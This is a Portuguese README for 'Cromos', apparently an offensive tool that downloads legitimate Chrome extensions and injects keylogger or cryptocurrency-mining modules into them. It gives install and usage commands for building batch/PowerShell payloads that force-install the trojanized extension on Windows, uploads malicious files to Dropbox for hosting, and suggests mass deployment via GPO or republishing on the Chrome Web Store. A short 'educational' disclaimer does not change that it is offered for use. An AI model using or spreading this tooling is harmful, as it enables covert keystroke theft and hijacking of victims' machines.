Cromos

Cromos é uma ferramenta para baixar extensões legítimas da Chrome Web Store e injetar códigos em segundo plano da aplicação e mais, cromos cria arquivos executáveis para forçar a instalação via PowerShell por exemplo, e também envia arquivos para o dropbox para hospedar os arquivos maliciosos.

• Baixar extensão
• Injeções
• Enviar arquivos para o dropbox
• Infecção no Windows

Demonstração

Esta é uma demonstração da ferramenta em funcionamento. Neste exemplo, estou baixando uma extensão famosa do Google chamada G Suite Training na Chrome Web Store e injetando um módulo keylogger.

Instalação

$ cd $HOME/
$ git clone https://github.com/fbctf/cromos
$ sudo chmod -R 777 cromos/
$ cd cromos && python setup.py

Uso

Baixar a extensão

Uso: python cromos.py --extension {id}

Baixar a extensão e carregar módulo

Uso: python cromos.py --extension {id} --load {currency/keylogger}

Criar um arquivo batch e enviar os arquivos para o dropbox

Uso: python cromos.py --extension {id} --build {bat} --token {dropboxToken}

Módulos

Você também pode injetar alguns módulos predefinidos em segundo plano, como keylogger, moeda virtual.

Objeto de Política de Grupo (GPO)

O Chrome permite adicionar extensões usando o Objeto de Política de Grupo (GPO) do Windows. Se você precisar forçar a instalação em várias máquinas, siga os passos no Guia de Implantação do Chrome depois modifique a extensão original com algumas alterações. Você pode publicar sua extensão na Chrome Web Store; é necessário pagar $5.

Aviso Legal

Os exemplos de código são fornecidos para fins educacionais. Defesas adequadas só podem ser construídas pesquisando técnicas de ataque disponíveis para agentes maliciosos. Usar este código contra sistemas alvo sem permissão prévia é ilegal na maioria das jurisdições. Os autores não se responsabilizam por quaisquer danos decorrentes do uso indevido destas informações ou código.

Doações

• XMR: 49m12JEEC6HPCHkLMX5QL4SrDQdKwh6eb4Muu8Z9CwA9MwemhzFQ3VcgHwyuR73rC22WCymTUyep7DVrfN3GPt5JBCekPrR